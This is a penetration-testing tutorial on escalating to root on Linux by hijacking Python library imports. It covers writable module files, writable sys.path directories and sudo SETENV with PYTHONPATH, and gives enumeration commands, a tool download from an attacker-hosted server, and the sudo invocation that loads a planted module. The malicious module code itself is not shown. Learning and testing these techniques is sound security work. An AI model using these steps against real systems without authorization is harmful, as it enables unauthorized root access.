PRIMARY CATEGORY → LIBRARY ABUSE

Write Permissions on imported Python Module

Requirements
  • The Python Script must be executed by a user with more privileges that the current one
  • The current user must have read permissions on the Python Script
  • The current user must have write permissions on the Module importing the Python Script
Scenarios

The situation described by the first requirement can be projected in the following scenarios →

Sudo Privilege

The attacker checks if the current user has any type of sudo privileges as follows →

sudo -l

It appears that the user has privileges to execute as Any User (ALL) a particular Python Script

So, the same applies here, if the attacker has read permissions on the Python Script, just examine its content to see what modules it imports

Cron Job

There may be a Cron Job or task that is being executed recurrently on the system by a user with more privilieges than the current one

Download and transfer to the target a tool like PsPy to monitor them all

  • From the Attacker
curl --silent --request GET --remote-name --location "https://github.com/DominicBreuker/pspy/releases/download/vX.X.X/pspy64"
python3 -m http.server <PORT>
  • From the Target
wget "http://<ATTACKER>:<PORT>/pspy64" -O pspy64
chmod 700 !$ && ./pspy64

Once the attacker finds out a Cron Job which executes a Python Script, he just need read permissions on it to check its content and see what Python Modules it imports

Abuse
Looking for a privileged python script

So, let’s suppose we find a out a binary which has the SUID bit set and its owner is the ROOT user

find / -perm -4000 -user root -type f 2> /dev/null

This binary turns out to be a python script for which we have read permissions

ls -l /development/dummie.py

However, since there is a shebang within the python script ( as usual ), the kernel will ignore the SUID bit when the script is executed due to security restrictions

So, we could run system commands but the effective user will remain the current user

Therefore, we continue our local enumeration stage by listing the sudo privileges of the current user

sudo -l

And we see that the current user can run the following command as any system user

/usr/bin/python3 /home/htb-student/mem_status.py

Knowing this, the next thing we have to do is to check if the given python script imports any libraries

Inspecting the content of the given python script

Let’s inspect the its content and see whether it imports any libraries or not

Verifying write permissions over the python library file

And it does! Therefore, we can list try to locate the path where the given library is stored

find / -iname '*psutil*' -type d 2> /dev/null

Similarly, we can issue the following command, which is a more direct way

Default Installation Location

pip3 show psutil | grep -i --color -- location

Once we know the path, we need to find out which library file contains the function used by the script, namely virtual_memory

grep -RliP --color -- 'def virtual_memory' /usr/lib/python3/dist-packages/psutil

In order to check if we have write permissions over the files where the function is defined, we can proceed as follows

while IFS= read -r _file
do
	ls -l "$_file"
 
done < <( grep -RliP --color -- 'def virtual_memory' /usr/lib/python3/dist-packages/psutil )
Modifying the python library file

And Others has write permissions, so we could add custom code at the beginning of the function declaration to carry out certain actions, such as spawning a bash instance

Since the python script will run as ROOT, we will receive a shell as the latter

To do so, we can use the os python library in order to run system commands

Running the privileged Python Script
/development/dummie.py

And as stated, we gain a shell as Root


Library Path Abuse

Requirements
  • The library or module imported by the privileged python script is located under of the lower priority paths listed within the PYTHONPATH variable

  • The current user must have WRITE permissions over one of the paths having higher priority on the list

Abuse

Continuing with the previous example, we know that our current user has sudo privileges

As we saw, we can check them as follows

Listing sudo privileges
sudo -l

And we see that the current user can run the same python script, namely /development/dummie.py

As we know, the latter imports the psutil module, but this time we do not have write permissions over the library python file where the called function ( virtual_memory() ) is declared

Retrieving the value of the PYTONPATH parameter

Regardless of this, we can list the value of the PYTHONPATH parameter as follows

python3 -c 'import sys ; print("\n".join(sys.path))'

It is clear that the imported psutil library is located in one of the paths listed above

Finding out the absolute path of the imported library

Bear in mind that we can list the absolute path of a given python library as follows

pip3 show psutil | grep -i --color -- location
Verifying write permissions over directories

We see that this path is one of the lowest within the PYTHONPATH list. Therefore, we could check if we have WRITE permissions for any of the directories listed above it

To do, we proceed as follows

python3 -c 'import sys; print("\n".join(sys.path))' | awk '/\/usr\/lib\/python3\/dist-packages/ {exit} {print}' | while IFS= read -r _dir ; do ls -ld "$_dir" ; done
Creating a malicious library within the writable directory

And we see that Others has write permissions on the /usr/lib/python3.13 directory

As this path is higher on the list than the path in which psutil is installed, we can abuse this misconfiguration by creating our own psutil module containing our own malicious virtual_memory() function within the /usr/lib/python3.13 directory

To do so, simply create the following python script in the directory above

The code snippet above will spawn a bash instance when we run the dummie.py python script with sudo privileges, as follows

sudo /usr/bin/python3 /development/dummie.py

And again, we gain a shell as ROOT 😊


PYTHONPATH Env. Parameter

Requirements
  • The current user has sudo privileges to run a python script and the SETENV: directive is set
Abuse

We listed the value of the PYTHONPATH parameter when carrying out the Library Path Abuse

However, we did not explain the importance of this parameter. It is an environment parameter that indicates what directories python can search for modules to import

It is important to note that the first modules take precedence over the rest as we saw in the previous example

Therefore, if our current user is able to set the PYTHONPATH variable while running the given python binary, we can effectively redirect python’s search functionality to a user-defined location when it comes time to import modules

For instance, we can set the PYTHONPATH parameter to only the /tmp directory and copy our psutil.py script to the latter, so when running the script, python will look for the psutil module within the /tmp directory

Listing sudo privileges
sudo -l

As we can see, the SETENV: directive is applied to the sudo privilege above, so we can modify any env parameter at runtime, including the PYTHONPATH parameter

Therefore, simply create the following psutil pyton script in the /tmp directory

Lastly, run the sudo command as follows

sudo PYTHONPATH=/tmp/ /usr/bin/python3 /development/dummie.py

And once again we have successfully run our script under ROOT context


Examples



Resources

Python Library Hijacking on Linux Privesc via Python Library Hijacking